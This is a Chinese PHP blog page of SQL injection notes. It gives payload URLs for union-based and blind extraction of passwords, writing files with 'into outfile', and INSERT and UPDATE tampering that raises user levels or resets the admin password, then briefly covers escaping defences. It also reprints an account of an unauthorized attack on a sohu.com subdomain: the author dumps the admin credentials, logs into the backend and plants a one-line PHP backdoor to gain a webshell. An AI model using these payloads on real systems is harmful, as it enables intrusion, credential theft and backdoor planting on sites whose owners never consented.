PHP的SQL注入过程分析


Posted in PHP onJanuary 06, 2012

今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL

语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了

解SQL的基本原理。笔记中的代码来自网络。
  ===基础部分===

本表查询:

http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6

http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:

http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:

http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt

http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

构造homepage值为:http://4ngel.net', '3')#

SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西

先理解这句SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此SQL被修改成以下形式,就实现了注入

1:修改homepage值为

http://4ngel.net', userlevel='3

之后SQL语句变为

UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'

userlevel为用户级别

2:修改password值为

mypass)' WHERE username='admin'#

之后SQL语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3:修改id值为

' OR username='admin'

之后SQL语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
  ===高级部分===

常用的MySQL内置函数

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

database()

version()

SUBSTRING()

MID()

char()

load_file()

……

函数应用

UPDATE article SET title=DATABASE() WHERE id=1

http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

SELECT * FROM user WHERE username=char(97,110,103,101,108)

# char(97,110,103,101,108) 相当于angel,十进制

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他

#验证第一位密码

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===

服务器方面

magic_quotes_gpc设置为On

display_errors设置为Off

编码方面

$keywords = addslashes($keywords);

$keywords = str_replace("_","\_",$keywords);

$keywords = str_replace("%","\%",$keywords);

数值类型

使用intval()抓换

字符串类型

SQL语句参数中要添加单引号

下面代码,用于防治注入

if (get_magic_quotes_gpc()) {

//....

}else{

$str = mysql_real_escape_string($str);

$keywords = str_replace("_","\_",$keywords);

$keywords = str_replace("%","\%",$keywords);

}

有用的函数

stripslashes()

get_magic_quotes_gpc()

mysql_real_escape_string()

strip_tags()

array_map()

addslashes()

参考文章:

http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文

http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

对sohu.com的一次安全检测

已发表于黑客防线

发布在http://www.loveshell.net

sohu.com是国内一家比较大的门户网站,提供了包括邮箱在内的很多服务。这么大的一个网站,不出问题是很难的,俗话说服务越多越不安全嘛!无论是对 于服务器还是网站都是这个道理,最近学习Mysql注入,于是顺便就对sohu.com做了一次小小的安全检测,看看它存不存在SQL注入漏洞。

看看sohu.com的主站发现差不多都是静态的,于是放弃了在主站上找问题的想法。直接在sohu.com的各个分站上浏览了一圈后发现,大部分网站采 用的都是Php脚本,也有少数用的是jsp脚本,根据经验我们知道,对于Php构建的系统,一般后台数据库都是Mysql,就好象asp对应着Mssql一样,看来可能存在问题的地方还是很多的。由于Php的特性(Php默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注 入),一般情况下我们注入的只能是数字类型的变量了。根据平时注入的知识,我们知道id=XXX这样的形式传递的参数一般都是数字类型的变量,所以我们只 要去测试那些php?id=XXX的连接就可能找到漏洞了!通过一番仔细的搜索,还真让我在XXX.it.sohu.com上找到了一个存在问题的连接http://XXX.it.sohu.com/book/serialize.php?id=86

提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*

返回正常如图1。

然后提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*

返回没有信息如图2,空空的吧,应该是SQL语句结果为空了。

通过这两个Url我们可以猜测漏洞是存在的,因为我们提交的and 1=1和and 1=2都被当作Sql语句执行啦!那么我们提交的其他语句也是可以执行的,这就是Sql注入了!我们还可以知道id这个变量是被当作数字处理的,没有放到 ''之间,否则我们是成功不了的哦!如果变量没有过滤Sql其他关键字的话,我们就很有可能成功啦!我遇到很多的情况都是变量过滤了select,在 mysql里就是死路了,好郁闷!

既然漏洞是存在的,让我们继续吧!首先当然是探测数据库的类型和连接数据库的帐户啦!权限高并且数据库和web同机器的话可以免除猜测字段的痛苦啦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*

返回正常如图3,这个语句是看数据库的版本是不是高于3的,因为3的ASCII是51嘛!版本的第一个字符是大于51的话当然就是4.0以上啦!4.0以 上是支持union查询的,这样就可以免除一位一位猜测的痛苦哦!这里结果为真,所以数据库是4.0以上的哦,可以支持union了。

既然支持union查询就先把这个语句的字段给暴出来吧!以后再用union查询什么都是很快的哦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*

返回结果正常如图4,看来字段是大于10个的,继续提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*

正常返回,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*

......

到order by 50的时候返回没有信息了!看来是大于40的小于50的,于是提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*

......

终于猜测到字段是41左右啦!这里说是左右是因为有些字段是不能排序的,所以还需要我们用union精确定位字段数字是41,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

返回结果如图5,哈哈,成功了哦!哪些字段会在页面显示也是一目了然了!现在让我们继续吧!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

返回结果如图6,完成了数据库系统的探测哦!我们很有可能不是root,并且数据库服务器和web也很有可能不是在一台服务器,这样的话我们就没有file权限了!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*

返回结果如图7,没有对mysql的读取权限,更加确定权限不是root了!呵呵!

既然不是root,也不要气馁,让我们继续吧!在进一步猜测数据之前我们最好找下后台先,很多时候找到了管理员密码却找不到地方登陆,很郁闷的说!在根目 录下加/admin和/manage/等等后台常用的地址都是返回404错误,猜测了几次终于在/book/目录下admin的时候出现了403 Forbiden错误,哈哈,是存在这个目录的!但是登陆页面死活也猜不出来,郁闷中!不过既然知道有个admin也好说,去Google里搜索:

admin site:sohu.com

如图8,得到了另外一个分站的论坛,我们知道人是很懒惰的,通常一个地方的后台的特征就很可能是整个网站的特征,所以当我尝试访问/book/admin /admuser.php的时候奇迹出现了,如图9,哈哈,离成功更近了哦!到这里我们知道了网站的后台,其实我们还可以得到很重要的信息,查看原文件发 现登陆表单的名字是name和password,很容易推测出对方管理员表中的结构,即使不符合估计也差不多,呵呵!所以知道为什么我们要先猜测后台了 吧!继续注入吧!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*

返回错误,说明不存在admin这个表,尝试admins以及admin_user等等,最后提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

的时候返回成功,哈哈!有User这个表!那么是不是管理员表呢?字段又是什么呢?继续提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

返回空信息的错误,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

返回结果如图10,哈哈正常返回并且出来了一个密码,应该是管理员表里第一个用户的密码!那么他的用户名字是什么呢?猜测很多字段都是返回错误,实在没有办法的时候输入一个ID,居然返回成功了!ID就是管理员的名字哦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

返回结果如图11,哈哈,得到管理员的名字了哦!激动地拿着管理员名字和密码去后台登陆成功了哦!如图12。现在是想想怎么拿webshell的时候了, 在后台发现有上传图片的地方,但是当上传php文件的时候提示说不是图片文件,郁闷了!在后台仔细的乱七八糟的乱翻了会,发现有个生成php文件的功能, 于是在里面插入了一句话的php后门,如图13,点生成之后提示成功了,看来如果没有过滤的话我们应该是得到webshell了,密码是a,用一句 话后门连上去如图14,哈哈,成功了!脚本检测到此圆满完成!

在得到webshell之后我上服务器上看了看,发现服务器的安全是做得不错,执行不了命令,并且基本上所有的目录除了我们刚才上传的目录之外都是不可写 的,不过作为脚本测试,得到了webshell也就算成功了吧!也可以看出,小小的一个参数没有过滤就可以导致网站的沦陷,特别是像sohu.com这样 的大站,参数更多,更加要注意过滤方面的问题哦!

PHP 相关文章推荐
PHP生成静态页面详解
Dec 05 PHP
通过PHP CLI实现简单的数据库实时监控调度
Jul 01 PHP
php 缩略图实现函数代码
Jun 23 PHP
一个好用的PHP验证码类实例分享
Dec 27 PHP
php获取文件夹路径内的图片以及分页显示示例
Mar 11 PHP
php实现给图片加灰色半透明效果的方法
Oct 20 PHP
PHP根据两点间的经纬度计算距离
Oct 31 PHP
PHP实现服务器状态监控的方法
Dec 09 PHP
php5.4以下版本json不支持不转义内容中文的解决方法
Jan 13 PHP
PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍
Jan 20 PHP
Django 标签筛选的实现代码(一对多、多对多)
Sep 05 PHP
tp5(thinkPHP5框架)captcha验证码配置及验证操作示例
May 28 PHP
超级实用的7个PHP代码片段分享
Jan 05 #PHP
php中使用parse_url()对网址进行解析的实现代码(parse_url详解)
Jan 03 #PHP
选择PHP作为网站开发语言的原因分享
Jan 03 #PHP
php 数组动态添加实现代码(最土团购系统的价格排序)
Dec 30 #PHP
第七章 php自定义函数实现代码
Dec 30 #PHP
第六章 php目录与文件操作
Dec 30 #PHP
第五章 php数组操作
Dec 30 #PHP
You might like
用PHP和Shell写Hadoop的MapReduce程序
2014/04/15 PHP
javascript some()函数用法详解
2014/11/13 PHP
PHP内存缓存Memcached类实例
2014/12/08 PHP
thinkPHP3.2简单实现文件上传的方法
2016/05/16 PHP
用js实现控制内容的向上向下滚动效果
2007/06/26 Javascript
jQuery ui 1.7更新小结
2009/08/15 Javascript
用document.documentElement取代document.body的原因分析
2009/11/12 Javascript
《JavaScript高级程序设计》阅读笔记(二) ECMAScript中的原始类型
2012/02/27 Javascript
javascript删除数组元素并且数组长度减小的简单实例
2014/02/14 Javascript
jQuery实现平滑滚动页面到指定锚点链接的方法
2015/07/15 Javascript
jQuery实现的经典竖向伸缩菜单效果代码
2015/09/24 Javascript
在点击div中的p时,如何阻止事件冒泡
2017/02/07 Javascript
jQuery实现的鼠标滚轮控制图片缩放功能实例
2017/10/14 jQuery
React Native验证码倒计时工具类分享
2017/10/24 Javascript
JS获取今天是本月第几周、本月共几周、本月有多少天、是今年的第几周、是今年的第几天的示例代码
2018/12/05 Javascript
Vue中的验证登录状态的实现方法
2019/03/09 Javascript
[01:00:52]2018DOTA2亚洲邀请赛 4.4 淘汰赛 EG vs LGD 第一场
2018/04/05 DOTA
python脚本设置系统时间的两种方法
2016/02/21 Python
Python制作豆瓣图片的爬虫
2017/12/28 Python
Numpy 改变数组维度的几种方法小结
2018/08/02 Python
Python实现的连接mssql数据库操作示例
2018/08/17 Python
用python实现k近邻算法的示例代码
2018/09/06 Python
python实现转盘效果 python实现轮盘抽奖游戏
2019/01/22 Python
华为2019校招笔试题之处理字符串(python版)
2019/06/25 Python
如何使用python爬虫爬取要登陆的网站
2019/07/12 Python
Django中的用户身份验证示例详解
2019/08/07 Python
物流管理专业职业生涯规划书
2014/01/06 职场文书
师生聚会感言
2014/01/26 职场文书
实习报告评语
2014/04/26 职场文书
机械加工与数控专业自荐书
2014/06/04 职场文书
运动会口号8字
2014/06/07 职场文书
财务人员个人工作总结
2015/02/27 职场文书
2015年会计人员工作总结
2015/05/22 职场文书
网吧员工管理制度
2015/08/05 职场文书
导游词之五台山
2019/10/11 职场文书
python实现黄金分割法的示例代码
2021/04/28 Python